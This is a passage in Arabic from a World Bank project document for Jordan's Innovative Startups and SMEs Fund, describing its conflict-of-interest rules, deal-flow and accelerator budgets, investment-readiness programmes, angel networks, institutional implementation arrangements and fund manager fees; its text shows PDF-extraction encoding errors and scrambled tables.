)المدعوين( عن أي تضارب فعلي أو محتمل للمصالح في أي استثمار عند بداية االجتماع، أو على األقل قبل بدء مناقشة البند أو الموضوع ذي الصلة في جدول األعمال. يجب توثيق كافة التفاصيل الخاصة بأي تضارب في المصالح بوضوح في محاضر االجتماع ذي الصلة. قبل مناقشة البند أو الموضوع ذي الصلة في جدول األعمال، يجب أن تحدد اللجنة بأغلبية طرفا في حالة تعارض المصالح( سواء كان هذا العضو أو المدعو ذي ً األصوات )باستثناء العضو الذي من المحتمل أن يكون كونه طرفا في أي حالة تضارب مصالح خالل المناقشات الخاصة ً الصلة لديه تضارب مصالح حقيقي، أو سوف يتم إثبات عدم بهذا األمر. سوف تراجع اللجنة/ مجلس اإلدارة كل حاالت تضارب المصالح الفعلية أو المحتملة مع المستشار القانوني المكلف. دعم االستثمار )5.3 مليون دوالر( 26 .لتقديم حافز لمديري الصناديق والمستثمرين المشاركين لالستثمار في الشركات الناشئة االبتكارية، والمراحل المبكرة من المؤسسات الصغيرة والمتوسطة، سوف يقدم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية للصناديق التي تتضمن شراكة، إلى جانب رأس المال، مبلغ مالي )ال يرد( لتغطية التكاليف المتعلقة بدعم ابتكار المشروع الناشئ بعد االستثمار. قد تتضمن أنشطة ما بعد االستثمار تكاليف مهنية مالية وقانونية وإدارية لتسجيل/ الحفاظ على/ تحديث االختبار العملي لمنتج ما في سوق جديد، ودعم المكتب الخلفي )محاسبة، وقانون، وتسويق، وإدارة( وهي أمور عادة ال تقوم بها الشركات الصغيرة. 27 .يجب أن يقدم مديرو الصناديق، الذين يتقدمون بطلب للحصول على استثمار في رأس المال، أو ومساهمة في االستثمار، من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، طلب يتضمن عرض لألسس المنطقية للتكاليف يقوم على استراتيجية االستثمار، ومرحلة أعمال الشركة ونوعية االبتكار وحجم االستثمار. سوف يخضع المبلغ الذي يتم تقديمه إلى المراجعة من جانب لجنة االستثمار على أساس توافر التمويل. دعم تدفق الصفقات )موازنة البنك بقيمة 125.3 مليون دوالر/ إجمالي الموازنة بقيمة 25.6 مليون دوالر( 28 .سوف تدعم صناديق المشروعات في إطار هذا المكون ثالث فئات من ريادة األعمال، وتساعد في توفير المزيد من المستثمرين الممولين. في إطار هذا النشاط، سوف يدعم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة 825 من رواد األعمال/المشروعات الصغيرة والمتوسطة، وكذلك مؤسسات وسيطة، وشبكات تستهدف تحسين جودة وعدد تدفق الصفقات في األردن، ومساعدة 125صفقة قابلة للنجاح على الوصول إلى مرحلة التمويل. يبلغ إجمالي موازنة األنشطة المقترحة 25.6 مليون دوالر، وسيتم تنفيذها خالل اإلطار الزمني للمشروع. جدول رقم 1-2 .أنشطة خلق تدفق الصفقات والموازنة المقدرة خالل دورة حياة المشروع )6 سنوات( مليون دوالر طبيعة الدعم عنصر النظام البيئي الشامل الهدف أمريكي وجود رواد أعمال وفرق جديدة لها تصورات واعدة في مختلف يرامج حاضنات/ معجالت األعمال تدفق الصفقات )الشركات الناشئة( 5.2 الصناعات والمحافظات وتحاول إقامة شركة التدريب على الجاهزية لالستثمار ومنح تنمية األعمال التجارية للمؤسسات الصغيرة والمتوسطة المحتملة متسارعة النمو قيام المؤسسات الصغيرة والمتوسطة بفعالية للنمو واستعدادها تدفق الصفقات )الشركات القائمة( 75.2 للبحث عن استثمارات بناء النظام البيئي الشامل/ تدفق بناء قدرات االستثمارات التمويلية الصفقات بناء المعرفة والقدرة االستثمارية والمشاركة في نشاط االستثمارات التمويلية 1.0 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 50 29 .يتضمن الجدول رقم 1-3 أدناه أهداف تقديرية للكيانات والمؤسسات الصغيرة والمتوسطة التي سوف تتلقي الدعم. يبلغ عدد الشركات الناشئة/ المؤسسات الصغيرة أو المتوسطة 825 من أصل 855 كيان، ومعدل النجاح المقترح لكي يصبح من الممكن االستثمار في هذه المؤسسات نحو 15 .% جدول رقم 1-3 .أهداف المؤسسات الصغيرة والمتوسطة/ رواد األعمال والكيانات التي تتلقى الدعم في إطار كل برنامج اسم المؤشر السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة الهدف النهائي برامج معجالت األعمال: الشركات الناشئة التي تلقت خدمات معجالت األعمال لمدة 4 إلى 6 أشهر )عدد( 15 )واحدة فئة )0 )فئات 4( 60 )فئات 3( 45 )فئتان )30 10( 150 فئات( الجاهزية لالستثمار: المؤسسات الصغيرة والمتوسطة 120 120 120 120 120 600 التي تلقت دعم برنامج الجاهزية لالستثمار )عدد( خدمات تنمية األعمال: المؤسسات الصغيرة والمتوسطة 10 15 15 15 20 75 التي حصلت على خدمات تنمية األعمال )عدد( المستثمرون الممولون: التدريب المقدم للمستثمرين )عدد )المحتملين الممولين 30 0 10 10 10 0 اإلجمالي 855 30 .سيختار صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مقدمي دعم متخصصين ومهنيين تنطبق عليهم معايير المشروع المنصوص عليها في دليل عمليات المشروع بغرض تنفيذ أنشطة تهدف إلى خلق شركات ناشئة قادرة على التنافس مع جميع القطاعات المحتملة )باستثناء قطاع تكنولوجيا االتصاالت والمعلومات(، وسوف تتم مراجعة العروض المقدمة وإبرام عقود تقديم الخدمات أو اتفاقيات الشراكة مع أفضل المرشحين بصفة سنوية قابلة للتجديد حسب األداء وحسب تحقيق النواتج المتفق عليها فيما يتعلق بالمجاالت التالية )سوف يتم إيالء مزيد من االهتمام إلى العروض التي تسعى للوصول إلى رائدات األعمال والمشروعات التي تديرها النساء وسيتم وضعها في االعتبار خالل المراجعة(، وستضمن معايير التقييم الشراكات مع أفضل برامج الممارسة الدولية واإلقليمية التي تتيح نقل المعرفة والقدرات بهدف تحسين جودة التنفيذ. 31 .التنسيق مع الجهات المانحة، سيقوم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بتنسيق الجهود مع الجهات المانحة ومنظمات التنمية الدولية وتعزيزها من أجل تقديم الدعم لتنمية األعمال التجارية للمؤسسات الصغيرة والمتوسطة في األردن لزيادة عدد الشركات الناشئة التي نتجت عن هذه البرامج. وتقوم الوكالة األمريكية للتنمية الدولية بإدارة برنامج التنافس األردني وقيمته 40 مليون دوالر للمساعدة في تنمية سالسل القيمة في الصناعات التنافسية، وقد صمم للمساعدة الفنية للمؤسسات المصرف األوروبي لإلنشاء والتعمير برنامجا الصغيرة والمتوسطة ويقدم االتحاد األوروبي 20ً مليون دوالر لدعم برنامج المؤسسة االردنية لتطوير المشاريع االقتصادية لريادة األعمال، كما تقدم الوكالة األلمانية للتعاون الدولي مشروع مساعدة فنية لريادة األعمال بقيمة 15 مليون دوالر. باإلضافة إلى ذلك، تدير الحكومة األردنية مشروع تعزيز الصادرات "جين-اكس" بتمويل من وزارة التنمية الدولية. يوفر هذا البرنامج 25 مليون جنيه استرليني )32 مليون دوالر لألردن، ُيخصص منها أمريكي( سنويا 5 مليون جنيه استرليني للدعم الفني الذي يستهدف تعزيز المؤسسات المتوسطة ً والصغيرة. 32 .برامج حاضنات/ معجالت األعمال )5,2 مليون دوالر(: تنشيط 10 فئات من رواد األعمال، تستهدف كل فئة دعم 15-20 من رواد األعمال لمدة 4-6 أشهر. وقد تدعم برامج معجالت األعمال برامج مرحلة ما قبل ريادة األعمال فعاليات خلق األفكار والمفاهيم والمنافسات وتقديم الدعم العيني لرواد األعمال بما في ذلك تأجير مساحات العمل المشتركة وتقديم الخدمات اإلرشادية وإقامة شبكات االتصال والتدريب، باإلضافة إلى أمور أخرى، بينما ستوجه االستثمارات والتمويل عن طريق خطة الصندوق لالستثمار المختلط في رأس المال والدين التي تستهدف الخريجين الناجحين. 33 .وسيتضمن نطاق برامج معجالت األعمال األنشطة التالية: أ- تنظيم المسابقات ومنح جوائز ألفضل المفاهيم واألفكار اإلبتكارية المطروحة داخل الحجرات الدراسية. ب- تنظيم أنشطة توعية لريادة األعمال )على سبيل المثال المعسكرات والهاكاثواتن( لجذب رواد األعمال الطموحين لالشتراك ببرامج معجالت األعمال. ت- تعيين مدربين ومرشدين لتقديم النصائح إلى رواد األعمال بشأن تنمية نماذج أنشطتهم التجارية وخططها ورصد التقدم البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 51 المحرز. ث- تقديم تدريبات متخصصة )مهنية( للمجموعة المختارة من رواد األعمال، وتساهم أغراض هذا التدريب في مساعدة المشتركين في بدء أنشطتهم التجارية وإنشاء منتج قابل للمنافسة. ج- تأجير مساحات عمل مشتركة، كلما أمكن، لرواد األعمال، وتتضمن هذه المساحات مكاتب وكراسي العمل وخطوط هاتف وإتصال باالنترنت بسرعة عالية. ح- تنظيم فعاليات تواصل شبكي لرواد األعمال والتي تهدف إلى إنشاء شبكات تواصل بين رواد الصناعة والموردين والتفاعل مع العمالء المحتملين والمشاركة في المعارض التجارية المهنية و/أو فعاليات الصناعة. خ- تقديم توجيهات مستمرة إلى مجموعات فرعية من الفرق الواعدة من كل مجموعة دعم. د- تقديم تقارير متابعة دورية لقياس إنجازات المشروعات المختارة. 34 .يتعين توافر الحد األدنى من المؤهالت التالية في البرامج المؤهلة للتمويل: أ- إثبات الخبرة العملية في مجال تنمية فئات من رواد األعمال وإدارتهم من خالل عمليات حاضنات/ معجالت األعمال التجارية. ب- إتباع آلية ونهج فعال لتنشيط األعمال وخبرة عملية في مجال وضع مواد تدريبية لرواد األعمال وتقديمها. ت- إظهار خبرة قوية في التسويق عبر االنترنت باستخدام وسائل اإلعالم المطبوعة واإللكترونية ومواقع التواصل االجتماعي. ث- امتالك فكرة عامة عن آليات المتابعة والتقييم والقدرة على تجميع البيانات وتحليلها أو تقديم المساعدة في هذا الشأن. ج- امتالك شبكة واسعة وقوية من الخبراء ورواد الصناعة للمشاركة في العملية بصفتهم مرشدين ومدربين. ح- مسجلة كشركة في األردن ويفضل أن تكون تابعة لكيان إقليمي أو دولي ذا خبرة واسعة في مجال تنمية ريادة األعمال. 35 .برامج الجاهزية لالستثمار ودعم تنمية األعمال التجارية للمشروعات الشابة التي تسعى للحصول على رأس المال والمؤسسات الصغيرة والمتوسطة التي تبحث عن تمويل بغرض تنمية أعمالها بصورة كبيرة )75,2 مليون دوالر أمريكي(. أ- سوف تستهدف برامج المساعدة في الجاهزية لالستثمار 600 شركة شابة )أي ال يزيد عمرها عن 3 سنوات( والتي قد تكون حصلت بالفعل على دعم إحدى حاضنات أو معجالت األعمال، أو التي قد بدأت عملياتها التجارية للتو، وغالباً ما تظل هذه الشركات تواجه عقبات وفجوات في اإلمكانات، وهو ما يحول دون قابليتها لالستثمار، إال أنه في حال مواجهة تلك المشكالت، فمن الممكن أن تتعاقب االستثمارات )وتدعى هذه العملية تحقيق أرباح من المشروعات(.  سيتم تقدير التدريب على الجاهزية لالستثمار من خالل برنامج منظم، فباإلضافة إلى المحاضرات، من المتوقع أن تتضمن عناصر آلية التدريب تدريبات لألفراد والمجموعات ودراسات لحاالت محلية وعالمية وضيوف متحدثين ونقاشات جماعية ميسرة لتشجيع التعلم بين األقران، وتنظيم فعاليات التواصل الشبكي لوجه عبر اإلنترنت( واإلرشاد والتدريب )وجها . وسيتم تقديم التدريب شهرياً وسيستهدف 8-15 نشاط تجاري ً في كل مرة، وسينتظر من مقدمي برامج الجاهزية لالستثمار المختارين أن يقدموا األنشطة التالية: o تقديم تقرير أولي يصف جميع تفاصيل التنفيذ المتصورة. o إعداد معايير أهلية للبرنامج )بالتشاور مع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية(. o وضع مواد تدريبية تساعد على تحقيق أغراض برامج التدريب على الجاهزية لالستثمار )دليل للمدربين ومنصة لتقيم العروض (. o تنظيم جلسات إعالمية لضمان االستيعاب والقبول )بالتشاور مع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية(. o إعداد موقع إلكتروني لتلقي الطلبات وتحديثه )في حالة عم وجود موقع إلكتروني فعلياً(. o فحص الطلبات والتحقق من امتثالها لمعايير األهلية. o توفير المدربين/المرشدين واإلشراف عليهم لدعم تنمية خطط النمو. o تنظيم يوم للتخرج بعد إنتهاء كل برنامج تدريبي يقدم فيه المشاركين أفكار مشروعاتهم وخطط النمو إلى لجنة من الخبراء/ المستثمرين. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 52 o تعيين مستثمرين محليين وإقليميين ودوليين وجذبهم لحضور أيام التخرج. o تقييم برنامج تدريب الجاهزية لالستثمار وتقديم نتائج تقييم لكل تدريب. o إعداد الدعم اللوجستي للفعاليات المختلفة. o إعداد تقرير نهائي يصف جميع تفاصيل التنفيذ بما في ذلك التقييم الكلي لبرنامج التدريب على الجاهزية لالستثمار. o جمع البيانات االزمة إلجراء عملية متابعة مستمرة.  يتعين أن تتوافر المؤهالت التالية في مقدمي الخدمة المتخصصون الذين يقومون بتنفيذ برنامج الجاهزية لالستثمار: o خبرة ممتدة في تصميم وتقديم برامج التدريب على الجاهزية لالستثمار للشركات الشابة )ملحوظة: تحظى الخبرة في تعديل برامج الجاهزية لالستثمار وتنفيذها في البلدان النامية ببالغ التقدير(. o القدرة على نشر البرنامج في األردن )على سبيل المثال: وجود مجموعة كبيرة من المرشدين المؤهلين وعلى استعداد للسفر ولديه اتصاالت في المنطقة مثل شركاء محليين على استعداد للمساعدة في تنفيذ البرنامج وغيره( o القدرة على المساهمة )مع الصندوق( في تنمية شبكة المستثمرين المحليين والدوليين من إلجراء أحداث تقديم العروض. ب- سيدعم برنامج خدمات تنمية األعمال التجارية خطط نمو المؤسسات الصغيرة والمتوسطة الناشئة والتي تتطلب مساعدة خاصة لتصبح جاهزة/مؤهلة لالستثمار المختلط في رأس المال والدين من خالل الصندوق، وسيتم استهداف نحو 75 مؤسسة صغيرة ومتوسطة خالل اإلطار الزمني للمشروع، كما سيتم إجراء تقييمات تشخيصية لمدى أهلية/ اهتمام هذه المؤسسات، وسيتم استخدام هذه التقييمات فيما بعد لتوجيه المشروعات الواعدة إلى الخدمات التجارية ذات القيمة المضافة، وسيغطى الصندوق تكلفة تصل إلى إجمالي 20 ألف دوالر أمريكي لكل جهة مستفيدة من الدعم المقدم للمؤسسات الصغيرة والمتوسطة.  مقدمي خدمات تنمية األعمال التجارية المؤهلين، ينبغي أن يكون مقدم أنشطة خدمات التنمية ومنفذها من الشركات المسجلة في األردن، ولديه خبرة 3 سنوات في تقديم الخدمات التجارية للمؤسسات الصغيرة والمتوسطة يكون مؤهالً من الناحية الفنية لتقديم خدمات تنمية األعمال المحلية )ينبغي أن يقدم سجل إنجازاته(. وال بد أن التجارية المطلوبة، وعلى مقدمي خدمات األعمال التجارية استيفاء المعايير التالية: - خبرة في إدارة برامج وعمليات المنح، سواء أكانت لجهات حكومية أم منظمات أجنبية داخل األردن - القدرة على تقديم برامج منح خدمات التنمية وتوافر األنظمة الالزمة بما في ذلك التوعية الوطنية إلى جانب خصائص هذه البرامج وطرق تطبيقها وإدارتها وأنشطة متابعتها والتي يمكن وصفها كالتالي: o المعرفة بالنظام البيئي الشامل لريادة األعمال في األردن وأوجه االتصال به. o الترابط مع المستثمرين الممولين وصناديق رعاة األعمال/ التأسيس التابعين للصندوق. o تنظيم محاضرات توعية عن مبادرات األطراف المعنية والتسويق وصحائف الوقائع. o إعداد عمليات تقديم الطلبات والنماذج المتاحة عبر اإلنترنت. o التقييم والتحقق المبدئي من الطلبات المقدمة للتأكد من إمتثالها للمعايير وإعداد آلية لتوزيع الطلبات على المقيمين )كما أوضحنا من قبل( وضع نظام للتصنيف. o صياغة عملية االعتماد التخاذ قرارات نهائية بشأن المرافقة على الطلبات أم رفضها. o تقديم المساعدة وإعداد عمليات السداد للمتقدمين الناجحين وتقديم تعقيبات للمتقدمين غير الناجحين، وتقديم تقارير عن المشروع واإلتمام )عمليات التدقيق العشوائية(.  المؤسسات الصغيرة والمتوسطة المؤهلة: المؤسسات الصغيرة والمتوسطة هي شركات قائمة بالفعل لديها خطط نمو واضحة لزيادة اإلنتاج وأو لتقديم منتج جديد أو للوصول إلى سوق جديدة، والتي تحرص على التقدم بطلب للوصول إلى خطة الصندوق لالستثمار المختلط في رأس المال أو الدين. وينبغي أن تستوفي المؤسسات الصغيرة والمتوسطة المعايير التالية: o استخدام تكنولوجيا محددة ومناسبة أو نموذج للعمل التجاري من شأنه تنفيذ ما هو مقترح ويمكن أن ينتج البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 53 ويطرح في السوق. o قاعدة عمالء وسوق محددة ومعقولة من المهتمين بشراء المنتج أو الخدمة المقدمة التي تعرض أداء أو تكلفة أو ميزة تختلف عن المنتجات الموجودة حالياً أو أي منتج منافس محتمل في السوق، بل وتفوقه جودة. o يقدم النموذج التجاري فرصة للنمو السريع وتوفير عائد مربح يجذب المستثمر المالي. o توافر قيادة رشيدة وفريق إدارة يتمتع بالمهارات المطلوبة ونقاط القوة الشخصية للمثابرة والعزم على استكمال بناء عمل تجاري ناجح وتحقيق القيمة من فكرة العمل التجاري. o منطقية النفقات المقترحة في إطار المشروع وتعكس مبدأ القيمة مقابل المال )مثال: الخدمات االستشارية المقترحة ترتبط بالمشروعات وذات صلة بها وتتناسب المرتبات واألجور مع األسعار السائدة في السوق(.  تتضمن األنشطة المؤهلة وفقاً لعنصر تنمية األعمال التجارية ما يلي: o إعداد استراتيجية األعمال وتخطيطها، وزيادة التمويل وحوكمة الشركات )أي الهياكل التنظيمية( وتخطيط أسلوب التعاقب واإلرشاد. o إعداد استراتيجيات التسويق والتواصل بما في ذلك استراتيجيات توسيم المنتجات واستراتيجيات التسويق عبر مواقع التواصل االجتماعي/ التسويق الرقمي. o تحسين عملية اإلنتاج وتحديث التكنولوجيا المستخدمة. o وضع خطط استراتيجية للحفاظ على الملكية الفكرية وتنويع المنتجات والخدمات وتطويرها وإبتكار أخرى جديدة وإجراء األبحاث ووضع خطط إنمائية. o تعريف أسواق جديدة وتحليل القطاع وتنمية السوق ووضع استراتيجية للتصدير متضمنة اإلمتثال للقوانين واللوائح األجنبية. o وضع استراتيجيات تتعلق بالموارد البشرية واألنظمة والتدريب والتطوير. ت- تنمية شبكة رعاة األعمال باألردن سوف يشمل دعم رعاة األعمال المقترح مجموعة من خدمات تكوين مجموعتين 30 من مجموعات رواد األعمال على األقل. وقد تتضمن حزمة المساعدة ما يلي: 1 )تكوين مجموعة جديدة. 2 )تصميم شبكات وإنشاءها )مثال: الموازنة وتعيين مدير الشبكة وعمليات استجالب الصفقات ومعايير االستثمار والتوثيق الموحد والعالقات العامة(. 3 )تدريب مدير المجموعات وإرشاده 4 )تدريب أعضاء مجموعات رعاة األعمال وإرشادهم 5 )كما يمكن للمشروع أن يدعم األنشطة المنفذة على مستوى النظام والتي تستفيد من جميع شبكات رعاة األعمال األردنية والتي قد تتضمن ما يلي:  إعداد مستندات وإرشادات عامة.  تقديم المشورة والوثائق الداعمة ألدوات االستثمار المناسبة للسوق األردني )رأس المال العادي والدين واتفاقيات عائد األسهم والضمانات وغيره(.  تقديم المشورة بشأن اإلصالح التنظيمي ذي الصلة.  صناديق استثمارات المغتربين واالستثمارات المشتركة بين المغتربين وصناديق sidecar زادت أهمية استثمار رعاة األعمال الممولين في جميع أنحاء العالم، وهو عنصر متزايد األهمية في النظام البيئي الشامل لريادة األعمال في حالة 30 االقتصادات النامية. وقد تناولت ورقة بحثية أعدها ليرنر وشوار وسوكولينسكي وويلسون بعنوان "عولمة االستثمارات التمويلية: أدلة من مختلف البلدان" استثمارات 13 مجموعة من مجموعات رعاة األعمال في 21 دولة، وتقارن هذه الورقة بين المتقدمين بطلبات من بين من بين من يتجاوزون الحد األدنى للتمويل بفارق ضئيل ومن يكادون يتجاوزونه، واستخلصت أن هؤالء المستثمرين رعاة األعمال لهم تأثير إيجابي على نمو الشركات أن اآلثا وأداءها وبقاءها، وكذلك على متابعة التمويل. وكشفت هذه الورقة البحثية أيضا ر اإليجابية للتمويل الذي يرعى األعمال كانت مستقلة عن ً مستوى النشاط االستثماري ومالئمة لرواد األعمال في البالد. تركزت مجموعات رعاة األعمال في األرجنتين واستراليا وبلجيكا وكندا والصين وألمانيا وإيطاليا والمكسيك ونيوزيلندا وسويسرا والمملكة المتحدة والواليات المتحدة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 54  التعلم من خبراء االستثمار األجانب والتواصل معهم. 6 )وتستهدف هذه الحزمة تنمية أفراد ومجموعات من رعاة األعمال المستثمرين لكي يصبحوا مؤهلين لضخ استثمارات مشتركة مع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، ولذلك يجب الموائمة بين آليات اعتماد األفراد والمجموعات ج. إدارة المشروع وتنسيقه ومتابعته وتقييمه )قيمة قرض البنك 2 مليون دوالر/ إجمالي الموازنة 4 مليون دوالر( 36 .باعتبارها الجهة المنفذة للمشروع، سوف تتولى الشركة األردنية لضمان القروض مسئولية اختيار مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية الذي يقوم بإدارة الحساب المخصص للمشروع، بما يضمن أن ينفذ الصندوق األنشطة االئتمانية وأنشطة الضمانات الوقائية المالئمة وإعداد التقارير ذات الصلة وفقاً للمعايير الواردة في دليل عمليات المشروع، وإدارة آلية التعامل مع الشكاوى والتظلمات. 37 .سوف يتم تمويل الصندوق وجميع التكاليف التشغيلية واإلدارية إلدارة المشروع واإلشراف عليه من تكاليف إدارة المشروع. وسوف تدعم موارد المشروع األنشطة التدريبية وأنشطة بناء القدرات والتسويق وأنشطة تحليل وتقييم النظام البيئي الشامل والتنسيق مع الجهات المانحة والبرامج وإشراك المواطنين/ العمالء والوصول إلى مختلف المناطق والمواقع اإللكترونية والمؤتمرات، إلى جانب النفقات التشغيلية والقانونية متضمنة النفقات ذات الصلة باالئتمان والضمانات الوقائية والمتابعة والتقييم. شكل رقم 1-1 .العملية االستثمارية اإلرشادية لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية * هذه البيانات بيانات إرشادية وسوف يحتاج فريق إدارة الصندوق إلى إجراء بعض التعديالت لتقديم التقارير واإلبالغ 38 .سوف يقوم البنك الدولي بتدريب فريق عمل الصندوق ومستشاريه المشاركين في المشروع على تقديم التقارير حول اإلدارة المالية والمبادئ التوجيهية للضمانات الوقائية على النحو المطلوب. ومن الممكن كذلك تقديم تدريب إضافي محلي لتجديد أو لتنفيذ المشروع بشكل فعال. زيادة الكفاءات في المجاالت الفنية متى كان ذلك مطلوبا ً استجالب الصفقات - بشكل مباشر - بشكل غير مباشر الموافقات - عقد لجنة االستثمار صياغة جميع الوثائق القانونية - التنفيذ - إطالق الصناديق الخروج مراجعة االستثمار لسياسات - وفقاً وإجراءات االستثمار - العناية الواجبة المراجعة التجارية المراجعة المالية المراجعة القانونية التقييم وهيكلة الصفقات المفاوضات إدارة المحفظة - إعداد التقارير - اجتماعات مجلس اإلدارة - الدعم - الحوكمة واالمتثال البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 55 ملحق رقم 2 :ترتيبات التنفيذ الدولة: المملكة األردنية الهاشمية مشروع صندوق تمويل الشركات الناشئة اإلبتكارية الترتيبات المؤسسية وترتيبات التنفيذ ذات الصلة بالمشروع 1 .سوف يتم إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بوصفه كيان ألغراض خاصة تحت إشراف المراقب المالي للشركات الذي يشرف على كافة الشركات الخاصة. وقد جرى االتفاق، تشجيعا القطاع ً الشتراك للشفافية والتنفيذ التجاري، بأن ُينشأ الصندوق من خالل الشركة األردنية لضمان القروض باعتبارها الكفيل الخاص وتعزيزاً المحلي للمشروع. وسوف تبرم االتفاقيات القانونية الالزمة لضمان فعالية المشروع، وهي كما يلي: ة عن حكومة األردن التي ً 2 .سوف توقع وزارة التخطيط والتعاون الدولي اتفاقية القرض، وتحصل على قرض البنك الدولي نياب ستتولى مسئولية سداد القرض للبنك الدولي. 3 .سوف يوقع البنك الدولي اتفاقية المشروع مع الشركة األردنية لضمان القروض بوصفها الهيئة المسئولة عن تنفيذ المشروع وفقاً التفاقية القرض ودليل عمليات المشروع 4 .سوف توقع وزارة التخطيط والتعاون الدولي اتفاقية تمويل مشترك مع البنك المركزي األردني بشأن التمويل المشترك الذي سيقدمه البنك للمشروع. 5 .سوف توقع وزارة التخطيط والتعاون الدولي اتفاقية فرعية مع الشركة األردنية لضمان القروض باعتبارها الجهة المنفذة. شكل رقم 2-1 .الترتيب القانوني في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية 6 .ستتملك الشركة األردنية لضمان القروض حصصاً نيابة عن الحكومة لحين تصفية األصول وتسليم أي عائدات متبقية إلى الحكومة. وسوف تتولى الشركة المسئولية القانونية ة للتنفيذ بما يتفق مع متطلبات ً ة على الصندوق وضامن ً إلنشاء الصندوق، وتتمتع بعضوية المجلس التنفيذي ورئاسته، مشرف البنك الدولي، ومنها تعيين مدير من ذوي الكفاءات يتولى تنفيذ أنشطة المشروع ومتابعتها وتقييمها، وإدارة االئتمان والضمانات الوقائية، وتقديم التقارير المطلوبة. البنك الدولي الحكومة األردنية الشركة األردنية لضمان القروض الجهة المنفذة 2.اتفاقية القرض 2 .اتفاقية المشروع 4 .االتفاقية الفرعية البنك المركزي األردني 3 .اتفاقية التمويل المشترك البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 56 شكل رقم 2-2 .التنفيذ المؤسسي 7 .سوف تضع الشركة األردنية لضمان القروض الضوابط الالزمة لتنفيذ المشروع تحت إشراف صارم مستقل بقيادة القطاع الخاص ووفق استراتيجية استثمار مهنية تتميز بالشفافية؛ وتشمل هذه الضوابط تشكيل مجلس إدارة مؤلف من أعضاء من القطاع الخاص، وتشكيل لجنة استثمار مستقلة مؤلفة بالكامل من خبراء من القطاع الخاص تتولى، وفق تعليمات مجلس اإلدارة، البت في أمر االستثمارات وطرق تجنب الجزاءات التي يقترحها فريق إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية؛ ولن تشارك الشركة األردنية لضمان القروض في اختيار االستثمارات، بل ستقوم بتوقيع اتفاقية إدارة مع مدير الصندوق لتحديد مسئوليات الشركة في كافة أمور اإلشراف، ومسئوليات المدير في اختيار االستثمارات وإدارتها وتقديم التقارير إلى كل من الشركة األردنية والبنك الدولي. 8 .سوف يكون صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية فعلياً هو وحدة إدارة المشروع المنوط بها تنفيذ كل عمليات المشروع وإعداد التقارير الالزمة وتسليمها. وسوف يقدم مدير الصندوق تقاريره إلى الشركة األردنية لضمان القروض بوصفها رئيس مجلس اإلدارة، بينما ستعمل الشركة بوصفها الجهة المنفذة بموجب قرض المشروع، وستتكبد النفقات الالزمة قبل إنشاء الصندوق واختيار مديره، مثل نفقات تقديم العطاءات وتقييم المرشحين إلدارة الصندوق واختيار أحدهم، إضافة إلى النفقات اإلدارية ونفقات إنشاء الصندوق. كما ستدفع الشركة نفقات إدارة الحساب المخصص للمشروع وإدارة قضايا التعويضات، وضمان تقديم التقارير الالزمة بشأن االئتمان والضمانات الوقائية إلى البنك الدولي. قد تستخدم األموال التي يخصصها الصندوق للمشروع لسداد المبالغ التي تتكبدها الشركة األردنية. بوصفه مديراً ألصول للصندوق، ويحصل على أتعاب نظير اإلدارة واألداء بهدف تعزيز ثقافة 9 .سيعمل مدير الصندوق أيضاً النجاح؛ بمعنى أن يحصل على مكافأة كبيرة إذا نجح الصندوق في زيادة قيمة رأس المال. وتسدد أتعاب مدير الصندوق بطريقتين مختلفتين: ii .الطريقة األولى: أتعاب مهنية مغرية نظير الخدمة. تضمن هذه األتعاب أن مشروع التمويل )عبر نوافذ تمويله( يجذب المهنيين الذين يضيفون خبرات واسعة للمشروع. وسوف تركز معايير االختيار على الخبرة وااللتزام على المدى الطويل. صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية الشركة األردنية لضمان القروض، 51 %من الحصص رئيس مجلس إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية )وحدة تنفيذ المشروع( اتفاقية اإلدارة البنك المركزي األردني 49 %من الحصص )شريك موصي( اتفاق المساهمين لجنة االستثمار تراجع االستثمارات وتختار منها دعم النظام البيئي الشامل الشركات الصغيرة والمتوسطة صناديق التمويل البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 57 iii .الطريقة الثانية: مكافآت مشروطة بتحقيق أهداف معينة. وتنقسم هذه المكافآت إلى ثالث مراحل، وتعكس أرصدة األعمال واإلنجازات الالزمة إلنجاز مراحل العمل وأهدافه. وهذه المراحل هي: 1 -المرحلة األولى: إعداد العمليات. وتشمل اختيار الموظفين الالزمين للصندوق، وضمان أنه يعمل بفعالية تامة في موعد أقصاه أربعة أشهر عقب بدء تنفيذ المشروع، بما في ذلك على سبيل المثال ال الحصر: تدريب الموظفين، والدعاية الفعالة للصندوق، واالرتباط الرسمي أو شبه الرسمي مع صناديق التمويل، ودعم النظام البيئي الشامل في ًط تمويل المشروعات وفي أنشطة تدفق ا ا لصرف المكافأة( لصفقات. )ويعد جميع ما سبق شر . 2 -المرحلة الثانية: إبرام صفقات االستثمار وتشمل مكافأة إضافية تمثل نسبة من رأس المال الخاص التي جمعها الصندوق. 3 -المرحلة الثالثة: مكافأة النجاح/ المنفعة المعلقة: تقدم هذه المكافأة 